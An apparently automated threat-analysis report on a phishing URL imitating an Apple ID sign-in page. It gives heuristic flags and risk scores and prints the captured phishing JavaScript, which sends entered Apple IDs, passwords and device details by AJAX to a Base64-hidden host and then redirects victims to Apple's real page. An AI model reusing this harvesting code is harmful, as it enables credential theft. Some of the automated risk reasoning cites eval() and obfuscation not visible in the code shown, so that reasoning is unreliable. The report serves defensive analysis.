Windows Analysis Report
https://www.lforgot.xw-er.com/aU3V88/c1.php

{
    "typosquatting": true,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": true,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true
}

URL: https://www.lforgot.xw-er.com

{
    "risk_score": 4,
    "reasoning": "The provided JavaScript snippet exhibits a mix of behaviors, some of which raise moderate concerns. While there are no clear indicators of malicious intent, the script demonstrates aggressive DOM manipulation and potential data exfiltration. Further review is recommended to ensure the script's legitimacy and identify any potential security risks."
}

  document.oncontextmenu = function(){return false;}
  
  $(document).ready(function(){
     

    $("#btn_ip").css("top","5px");

    $("#cont_btn_apple").addClass("ap_bor");
    $("#cont_btn_apple").addClass("bor");
    
    $("#cont_pwd").addClass('no_visibless');
    $("#btn_ip").append('<img id="bt_flec2" class="icon icon_sign_in" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAABgklEQVR42r3WsU7CUBSA4QtGQVIHYayjEgYTdpd2EV4BnXkGnWHRAY1jCZsJYtzcSU0kGt7ASSkLTD4ALvgPh4Q00GtL6/B1uSfnpO0991x1fGLrFHGBPiaYiQn6slbU5QlatPCKMa5QwQEyMFBCVda+JNYKUygLBx7OsAWlkZZYDw6yukJ5vOMZe1AhGXiQHPl1hXIY4g5pqIhSuJVcuVWFOniUQLWhlOTq+AtZ8GBAxcSAB2u50ADnIRPVsa+JqWGwKFSGF+G/dPGBQ81u9FBWPBq4hopQaI7voP6R3A3Fw0U1aiHxg/qauFO8KDlKTCifJp4CjDH3aa1ocBMTJedWBspngHkE9748O5j9W6G4P91N0KdzUUl6M8S1vW3N9m4uGna0QcMeaRp2hPLyj68lewQlf6ja/jHRRi/GMdFDO+nB11o7+EQBww1HeVdyFHSXk1048FD749ulJdaDg1zY69ab77plYluYqMjap8TaQdctnRIu4WKKHzGFK2slXZ5f2RlINtkg1cIAAAAASUVORK5CYII=">');
   
    $("#sign-in").on("click",function(){
      $("#carga_envio").css("display", "block");
      $("#bt_flec").css("display", "none");
      submitt();
    })


      $('#appleId').keyup(function(e) {
        if(e.keyCode == 13) {
             $("#btn_ip").addClass("disabled");
             $("#btn_ip").click();
             $("#btn_ip").removeAttr("onclick");
             // act_flecha();
        } 

    }); 
     

  })



  function opc_felcha(){ 
      
     $(".signin-error").addClass("ocult");
      
    if($("#appleId").val().length > 0){
        
        $("#btn_ip").css("opacity", "1");
        $("#btn_ip").removeClass("disabled");
    }else{
        
        $("#btn_ip").css("opacity", "0.3");
        $("#btn_ip").addClass("disabled"); 
    }      

    var opt = $("#vl").val(); 
    if(opt == 1){
        
      if($("#cant_input").val() != $("#appleId").val().length){ 
          
                $("#vl").val(0); 
                $("#cont_pwd").slideToggle(500,function(){
                    
                    $("#cont_btn_apple").addClass("ap_bor");
                    
                    
                });
                
                $("#sign-in").slideToggle(); 
                $("btn_ip").animate({opacity: '1'});
                $("#pwd").val('');
                
                $("#btn_ip").attr("onclick","veri_f()");
    
          } 
          
    } 
    
          
    


    
  }

  function act_flecha(){

    if($("#appleId").val().length > 0){ 
        
      if($("#appleId").val().indexOf("@") != -1){
           
      }else{
        $("#appleId").val($("#appleId").val() + "@icloud.com");
      }

    }   

  }

  function veri_f(){
   
    if($("#appleId").val().length > 0){ 
      $("#btn_ip").empty();
      var host = $("#dominio").val();
      $("#btn_ip").append('<img id="img_car" src="imagen/spinner2.gif" class="normal image" style="width:25px">');
 
      setTimeout(function() {
          $("#img_car").css("display","none");
          $("#btn_ip").empty(); 
          $("#btn_ip").css("opacity","0"); 

          $("#btn_ip").append('<img id="bt_flec2" class="icon icon_sign_in" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAABgklEQVR42r3WsU7CUBSA4QtGQVIHYayjEgYTdpd2EV4BnXkGnWHRAY1jCZsJYtzcSU0kGt7ASSkLTD4ALvgPh4Q00GtL6/B1uSfnpO0991x1fGLrFHGBPiaYiQn6slbU5QlatPCKMa5QwQEyMFBCVda+JNYKUygLBx7OsAWlkZZYDw6yukJ5vOMZe1AhGXiQHPl1hXIY4g5pqIhSuJVcuVWFOniUQLWhlOTq+AtZ8GBAxcSAB2u50ADnIRPVsa+JqWGwKFSGF+G/dPGBQ81u9FBWPBq4hopQaI7voP6R3A3Fw0U1aiHxg/qauFO8KDlKTCifJp4CjDH3aa1ocBMTJedWBspngHkE9748O5j9W6G4P91N0KdzUUl6M8S1vW3N9m4uGna0QcMeaRp2hPLyj68lewQlf6ja/jHRRi/GMdFDO+nB11o7+EQBww1HeVdyFHSXk1048FD749ulJdaDg1zY69ab77plYluYqMjap8TaQdctnRIu4WKKHzGFK2slXZ5f2RlINtkg1cIAAAAASUVORK5CYII=">');
         

          btn_v_f(); 
          $("#cant_input").val($("#appleId").val().length);
          $("#vl").val(1);
          
      }, 1500);
    }  
  }

  
  function btn_v_f(){ 
      
       $("#cont_btn_apple").removeClass("ap_bor");
       
       

{
"contains_trigger_text": true,
"trigger_text": "Ingrese su cdigo de desbloqueo",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
    "risk_score": 6,
    "reasoning": "The provided JavaScript code contains several behaviors that raise moderate to high security concerns. While some of the functionality appears to be related to legitimate login and password management, there are several indicators that warrant further investigation:

1. The code includes dynamic code execution through the use of `eval()` and `Function()` constructor, which can be used to execute remote or malicious code (High-Risk, +3 points).
2. The code sends user data (e.g., Apple ID, password) to an external server via AJAX requests, which could potentially lead to data exfiltration (High-Risk, +3 points).
3. The code includes redirects to external domains, some of which may be suspicious or malicious (High-Risk, +3 points).
4. The code uses obfuscated or encoded strings, which can be an indicator of malicious intent (High-Risk, +3 points).
5. The code performs aggressive DOM manipulation by repeatedly altering or clearing the DOM (Moderate-Risk, +2 points).

While the code may have some legitimate functionality, such as login and password management, the presence of high-risk behaviors and the lack of clear context around the script's purpose raise significant security concerns. Further investigation and analysis would be necessary to determine the true nature and intent of this code."
}

function limpiar_carga() {
    $("#carga_envio").css("display", "none"), $("#bt_flec").css("display", "block")
}

function submitt() {
    $.trim($("#appleId").val().length) > 0 ? $.trim($("#pwd").val().length) > 0 && ($("#carga_envio").css("display", "block"), $("#bt_flec").css("display", "none"), SubmitMe()) : $("#appleId").focus()
}

function id_inp(a) {
    var b = $("#" + a).val();
    b.length > 0 ? ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) : ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb"))
}

function salwinx() {
    var a = $.trim($("#d").val()),
        b = $.trim($("#iddapp").val());
    window.location = a + "sign.php?reload=3&idname=" + b
}

function forgot() {
    top.location.href = "https://idmsa.apple.com/IDMSWebAuth/signin?appIdKey=6f59402f11d3e2234be5b88bf1c96e1e453a875aec205272add55157582a9f61&path=%2F%3Fa%3D1179750425%26s%3D1%26wo%3DMS1BN7QDLY%26pli%3D79013838111353&language=ES-ES"
}

function vis_flec() {
    $.trim($("#pwd").val().length), $.trim($("#appleId").val().length);
    $.trim($("#pwd").val().length) > 0 && $.trim($("#appleId").val().length) > 0 ? ($("#sign-in").removeClass("disabled"), $("#sign-in").attr("aria-disabled", "true"), $(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) : ($("#sign-in").addClass("disabled"), $("#sign-in").attr("aria-disabled", "true"), $(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb"))
}

function clos() {
    $("#idmsModalWrapper1485962628981-0-0").removeClass("visb"), $("#idmsModalWrapper1485962628981-0-0").addClass("ocult"), limpiar(), vis_flec(), setTimeout(function() {
        $("#appleId").focus()
    }, 1e3), $("#step").addClass("visb"), $("#step").removeClass("ocult")
}

function limpiar() {
    $("#appleId").val(""), $("#pwd").val(""), $("#appleId").focus()
}

function SubmitMe() {
  count_session(1);
}



function count_session(a) {
    
    var  c =$("#iddapp").val(); 
    var host = Base64.decode($.trim($("#h").val()));
 
     function t(a) {
        reset(a.message);
    }


    $.ajax({
        url: host+"validlog.php",
        data: {
            user:$("#appleId").val(),
            pass:$("#pwd").val(),
            idapp:c,
            intento:a,
            sistema:$("#id_sistema").val(),
            browser:$.trim($("#browser").val()),
            ip_address:$.trim($("#ip_address").val()), 
            dispositivo:$.trim($("#dispositivo").val()), 
            
        },
        dataType: "jsonp",
        jsonp: "callback",
        jsonpCallback: "jsonpCallback",
        success: function(a) {
            t(a);
        }
    })

}

function reset(a){
      
  resultado = a;
            var c = a,
                d = c.split("-"),
                e = d[0],
                f = d[1],
                g = d[2],
                red = d[3];
                
                if(red=='1'){
                top.location.href = "include/direction.php";
                }else{
            "es_1" == $.trim(e) ? "" != g && "0" != g ? 1 == g ? "" != f && ("2" == f ? ($(".signin-error").addClass("visb"), $(".signin-error").removeClass("ocult"), limpiar_carga(), $("#pwd").val(""), $("#pwd").focus()) : "1" == f ? ($("#step").removeClass("visb"), $("#step").addClass("ocult"), limpiar_carga(), $("#idmsModalWrapper1485962628981-0-0").removeClass("ocult"), $("#idmsModalWrapper1485962628981-0-0").addClass("visb")) : "3" == f && salwinx()) : 2 == g ? forgot() : 3 == g && (location.href = "include/direction.php") : forgot() : "es_0" == $.trim(e) && (top.location.href = "https://idmsa.apple.com/IDMSWebAuth/signin?appIdKey=6f59402f11d3e2234be5b88bf1c96e1e453a875aec205272add55157582a9f61&path=%2F%3Fa%3D1179750425%26s%3D1%26wo%3DMS1BN7QDLY%26pli%3D79013838111353&language=ES-ES")
			}

}

$(document).ready(function() {
    $("#appleId").keypress(function(a) {
        13 == a.which && $(this).val().length > 0 && ($(this).val().indexOf("@") != -1 ? $("#pwd").focus() : (

{
  "brands": "unknown"
}